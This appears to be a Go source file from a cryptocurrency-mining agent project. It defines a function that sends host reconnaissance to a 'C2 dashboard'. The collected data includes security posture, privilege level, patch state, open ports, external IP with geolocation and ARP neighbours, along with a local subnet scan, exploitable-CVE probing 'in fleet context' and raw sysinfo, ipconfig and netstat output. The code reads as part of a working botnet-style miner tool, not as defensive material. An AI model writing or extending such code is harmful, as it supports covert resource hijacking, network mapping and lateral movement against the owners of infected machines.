72ae457cca
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Extract fleet caps (128 hosts, sem=16, 250ms coalesce, syscheck=20) into named constants with Go tests; wire ListStaleOnlineAgents for stale sweeps instead of full ListAgents scans.
138 lines
3.7 KiB
Go
138 lines
3.7 KiB
Go
package client
|
|
|
|
import (
|
|
"os"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
const syscheckRawMax = 12000
|
|
|
|
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
|
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
|
if fullSysCheckCollector != nil {
|
|
return fullSysCheckCollector(cfg, agentID)
|
|
}
|
|
r := &FullSysCheckReport{
|
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
|
Platform: cfg.RegistrationPlatform(),
|
|
Arch: runtime.GOARCH,
|
|
OSVersion: deploy.HostOSVersion(),
|
|
WorkerName: cfg.WorkerName,
|
|
BuildID: cfg.BuildID,
|
|
AgentID: agentID,
|
|
Network: &SysCheckNetwork{},
|
|
Neighbors: &SysCheckNeighbors{},
|
|
}
|
|
|
|
if host, err := os.Hostname(); err == nil {
|
|
r.Hostname = host
|
|
}
|
|
|
|
if p := collectPosture(); p != nil {
|
|
r.Security = securityFromPosture(p)
|
|
if p.AgentElevated != nil {
|
|
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
|
|
}
|
|
}
|
|
r.Patch = collectPatchStatus()
|
|
r.ListenPorts = collectListenPorts()
|
|
r.Resources = collectResourcePressure()
|
|
|
|
if dns := probeDNS(); dns != nil {
|
|
r.Network.DNS = dns
|
|
}
|
|
r.Network.Interfaces = listNetInterfaces()
|
|
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
|
|
r.Network.PrimaryLocalIP = lip
|
|
}
|
|
extIP, src := fetchExternalIP()
|
|
r.Network.ExternalIP = extIP
|
|
r.Network.ExternalIPSource = src
|
|
if extIP != "" {
|
|
r.Network.Geo = fetchGeo(extIP)
|
|
}
|
|
|
|
arp := deploy.ArpNeighborIPs()
|
|
r.Neighbors.ArpHosts = arp
|
|
r.Neighbors.ArpCount = len(arp)
|
|
if subnetScanCollector != nil {
|
|
r.Neighbors.SubnetScan = subnetScanCollector(SyscheckSubnetScanCap)
|
|
} else {
|
|
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(SyscheckSubnetScanCap)
|
|
}
|
|
|
|
collectSysCheckPlatform(r)
|
|
|
|
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
|
|
if vr := RunVulnLOTLProbe(); vr != nil {
|
|
score := vr.RiskScore
|
|
r.VulnRiskScore = &score
|
|
if len(vr.Findings) > 0 {
|
|
r.VulnFindings = make([]struct {
|
|
CVEID string `json:"cve_id"`
|
|
Severity string `json:"severity"`
|
|
Component string `json:"component"`
|
|
Patched bool `json:"patched"`
|
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
|
Detail string `json:"detail,omitempty"`
|
|
}, len(vr.Findings))
|
|
for i, f := range vr.Findings {
|
|
r.VulnFindings[i].CVEID = f.CVEID
|
|
r.VulnFindings[i].Severity = f.Severity
|
|
r.VulnFindings[i].Component = f.Component
|
|
r.VulnFindings[i].Patched = f.Patched
|
|
r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
|
r.VulnFindings[i].Detail = f.Detail
|
|
}
|
|
}
|
|
}
|
|
|
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
|
if r.Environment == nil {
|
|
r.Environment = &SysCheckEnvironment{}
|
|
}
|
|
r.Environment.InstallDir = dir
|
|
}
|
|
|
|
r.RawSysinfo = truncateRaw(captureRawSysinfo())
|
|
r.RawIPConfig = truncateRaw(captureRawIPConfig())
|
|
r.RawNetstat = truncateRaw(captureRawNetstat())
|
|
|
|
return r
|
|
}
|
|
|
|
func truncateRaw(s string) string {
|
|
s = strings.TrimSpace(s)
|
|
if len(s) <= syscheckRawMax {
|
|
return s
|
|
}
|
|
return s[:syscheckRawMax] + "\n…[truncated]"
|
|
}
|
|
|
|
func captureRawSysinfo() string {
|
|
_, _, msg := platformReconStatic("sysinfo", "")
|
|
return msg
|
|
}
|
|
|
|
func captureRawIPConfig() string {
|
|
_, _, msg := platformReconStatic("ipconfig", "")
|
|
return msg
|
|
}
|
|
|
|
func captureRawNetstat() string {
|
|
_, _, msg := platformReconStatic("netstat", "")
|
|
return msg
|
|
}
|
|
|
|
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
|
|
func platformReconStatic(action, command string) (bool, bool, string) {
|
|
// Minimal stub client-free path: duplicate switch via temp
|
|
ac := &AgentClient{}
|
|
return ac.platformRecon(action, command)
|
|
}
|